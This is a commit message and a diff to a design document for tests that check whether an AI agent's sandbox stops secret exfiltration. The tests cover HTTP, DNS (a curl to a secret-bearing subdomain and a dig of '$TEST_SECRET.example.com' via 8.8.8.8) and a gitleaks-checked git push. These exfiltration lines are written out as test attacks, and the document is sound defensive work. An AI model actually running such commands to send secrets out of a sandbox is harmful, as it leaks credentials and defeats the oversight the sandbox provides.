docs(prd-0022): resolve open Qs 2, 4, 5 (DNS, gitleaks order, CI)
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User feedback:

  - Q2 (direct DNS resolver test): yes — test 4 grows a
    second sub-assertion verifying `dig @8.8.8.8` from the
    agent has no path out, alongside the existing
    crafted-subdomain check.
  - Q4 (gitleaks ordering): test 5 grows an ordering check
    — asserts the rejection mentions `gitleaks` AND does
    NOT mention upstream-network-phase phrases (resolve /
    refused / unreachable / upstream). Confirms gitleaks
    rejects BEFORE git-gate tries any upstream push.
  - Q5 (CI): try it, accept fallback. New chunk 6 adds a
    Gitea Actions job marked `continue-on-error: true` —
    runs the suite if the runner can host compose, doesn't
    block the workflow if docker-in-docker prevents it.

Three open questions remain (1: pipelock's actual DLP
coverage for non-body shapes; 3: realistic fake secret
shape vs. gitleaks regex; 6+7: backend-agnostic invocation
+ required tools — for the smolmachines work).
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@@ -276,22 +276,34 @@ def test_3_http_exfil_blocked(self):
) )
``` ```
### Attack-4: DNS exfil via crafted subdomain ### Attack-4: DNS exfil — both crafted subdomain AND direct query
Two sub-assertions cover the two ways DNS can leak.
```python ```python
def test_4_dns_exfil_blocked(self): def test_4_dns_exfil_blocked(self):
# 4a — crafted subdomain that pipelock would resolve.
# Pipelock's exact-match allowlist rejects the host
# before issuing the DNS query.
result = self.bottle.exec( result = self.bottle.exec(
'curl --silent --max-time 5 --fail ' 'curl --silent --max-time 5 --fail '
'"https://$TEST_SECRET.api.anthropic.com/"' '"https://$TEST_SECRET.api.anthropic.com/"'
) )
self.assertNotEqual(0, result.returncode) self.assertNotEqual(0, result.returncode)
# 4b — direct DNS query bypassing pipelock entirely.
# The agent's --internal network has no default
# gateway; even with an explicit resolver like 8.8.8.8
# the query has nowhere to go.
result = self.bottle.exec(
'dig +time=3 +tries=1 @8.8.8.8 '
'"$TEST_SECRET.example.com" || echo "dig exit=$?"'
)
# No successful answer.
self.assertNotIn("ANSWER SECTION", result.stdout)
``` ```
Asserts the host wasn't in pipelock's exact-match allowlist ### Attack-5: secret in README push (with ordering check)
(api.anthropic.com matches `api.anthropic.com`, not
`<secret>.api.anthropic.com`).
### Attack-5: secret in README push
```python ```python
def test_5_readme_push_blocked(self): def test_5_readme_push_blocked(self):
@@ -306,12 +318,30 @@ def test_5_readme_push_blocked(self):
'git push origin master' 'git push origin master'
) )
self.assertNotEqual(0, result.returncode) self.assertNotEqual(0, result.returncode)
self.assertIn("gitleaks", (result.stderr + result.stdout).lower()) combined = (result.stderr + result.stdout).lower()
# gitleaks ran and rejected.
self.assertIn("gitleaks", combined)
# AND: the rejection happened BEFORE git-gate tried to
# forward to the unreachable upstream. Network errors
# mentioning resolve / refused / unreachable would mean
# gitleaks ran AFTER (sequence wrong) or didn't run.
for upstream_phrase in (
"could not resolve",
"connection refused",
"network is unreachable",
"upstream",
):
self.assertNotIn(
upstream_phrase, combined,
f"unexpected upstream-phase phrase: gitleaks should "
f"reject BEFORE git-gate attempts an upstream push",
)
``` ```
The `<slug>` is templated via the bottle's known identity at The `<slug>` is templated via the bottle's known identity at
fixture-time. Asserts gitleaks fired (looking for the fixture-time. The two-part assertion both confirms gitleaks
literal "gitleaks" in stderr). fired AND that it fired before any upstream attempt — the
ordering the sandbox depends on.
## Implementation chunks ## Implementation chunks
@@ -333,7 +363,55 @@ Sized small.
it requires the git-gate sidecar configured and the it requires the git-gate sidecar configured and the
gitleaks rule fired. The "throwaway" upstream URL is gitleaks rule fired. The "throwaway" upstream URL is
intentionally unreachable to keep the test fully intentionally unreachable to keep the test fully
self-contained. self-contained. Ordering assertions confirm gitleaks
fires before any upstream push attempt.
6. **CI integration (best-effort).** Add a Gitea Actions
job that runs the suite against the Docker backend.
Marked `continue-on-error: true` so the workflow doesn't
fail if docker-in-docker constraints prevent compose-up.
If the runner shape evolves later (e.g., privileged
Docker socket access) the suite slots in cleanly.
## Resolved questions
2. **DNS exfil via the agent's direct DNS resolver.**
Resolved: **add the assertion to test 4.** The
`--internal` network has no default gateway, so a direct
`dig @8.8.8.8 <SECRET>.example.com` from the agent
should fail. Test 4 grows a second assertion: in
addition to the crafted-subdomain-via-pipelock attempt
(which pipelock's exact-match allowlist rejects), the
agent's direct DNS query is also blocked. Both
sub-assertions must pass for test 4 to be green.
4. **Reachability of throwaway git upstream + gitleaks
ordering.** Resolved: **add ordering assertions to test 5.**
The pre-receive hook MUST reject the push before
git-gate ever attempts to forward to the (unreachable)
upstream. Test 5 asserts:
- `"gitleaks"` appears in the rejection output
(gitleaks fired)
- The rejection output does NOT contain phrases like
`"could not resolve"`, `"connection refused"`,
`"network is unreachable"`, or `"upstream"` — those
would mean gitleaks let the push through and the
failure happened later in the chain.
The second assertion is the "ordering" check — if it
fires, gitleaks ran AFTER the upstream attempt
(sequence is wrong) or didn't run at all.
5. **CI vs. local-only.** Resolved: **attempt CI; accept
local-only fallback if docker-in-docker blocks it.**
The Gitea Actions runner ecosystem usually has Docker
available to the workflow but not nested Docker
compose inside a containerized runner. v1 tries: add a
CI job that runs the suite against the Docker backend
on a runner with Docker socket access. If the
compose-up step fails because of DiD constraints, the
job is marked `continue-on-error: true` and the suite
stays local-only until we have a runner shape that can
host it.
## Open questions ## Open questions
@@ -353,36 +431,12 @@ Sized small.
worse than fixing it. But for v1 of this test it's OK to worse than fixing it. But for v1 of this test it's OK to
land with `expectedFailure` markers + tickets. land with `expectedFailure` markers + tickets.
2. **DNS exfil via the agent's direct DNS resolver.** Today
the agent's `--internal` network has no default gateway,
so direct DNS queries to 8.8.8.8 fail. The crafted-
hostname attack rides on pipelock's resolution, which is
what test 4 covers. Should we ALSO test that direct DNS
(e.g., `dig @8.8.8.8 secret.example.com`) is blocked?
Probably yes — adds one assertion to test 4 and confirms
the network isolation is intact.
3. **Realistic fake secret.** `sk-ant-api03-...` shape is 3. **Realistic fake secret.** `sk-ant-api03-...` shape is
what gitleaks's anthropic-api-key rule matches. Verify what gitleaks's anthropic-api-key rule matches. Verify
the exact regex before settling on the fixture value; the exact regex before settling on the fixture value;
wrong-shape secret would mean attack 5 silently passes wrong-shape secret would mean attack 5 silently passes
the wrong way (gitleaks doesn't fire, README ships). the wrong way (gitleaks doesn't fire, README ships).
4. **Reachability of throwaway git upstream.** Pointing at
`ssh://git@127.0.0.1:22/throwaway.git` means git-gate
would try (and fail) to push to upstream after gitleaks
passes. We want gitleaks to REJECT before any upstream
attempt — so the push always fails at gitleaks, never
later. Confirm this ordering in git-gate's pre-receive
sequence.
5. **CI vs. local-only.** The integration test takes ~15s
(compose-up + 5 attacks + teardown). Running it on every
PR pays for itself the first time it catches a sandbox
regression but slows the green-tick feedback for unrelated
PRs. v1 ships as a local-only test; CI integration is a
follow-up that decides whether to gate merges on it.
6. **Backend-agnostic invocation.** The suite reads 6. **Backend-agnostic invocation.** The suite reads
`CLAUDE_BOTTLE_BACKEND` so it runs against whatever `CLAUDE_BOTTLE_BACKEND` so it runs against whatever
backend is active. For the smolmachines spike, the backend is active. For the smolmachines spike, the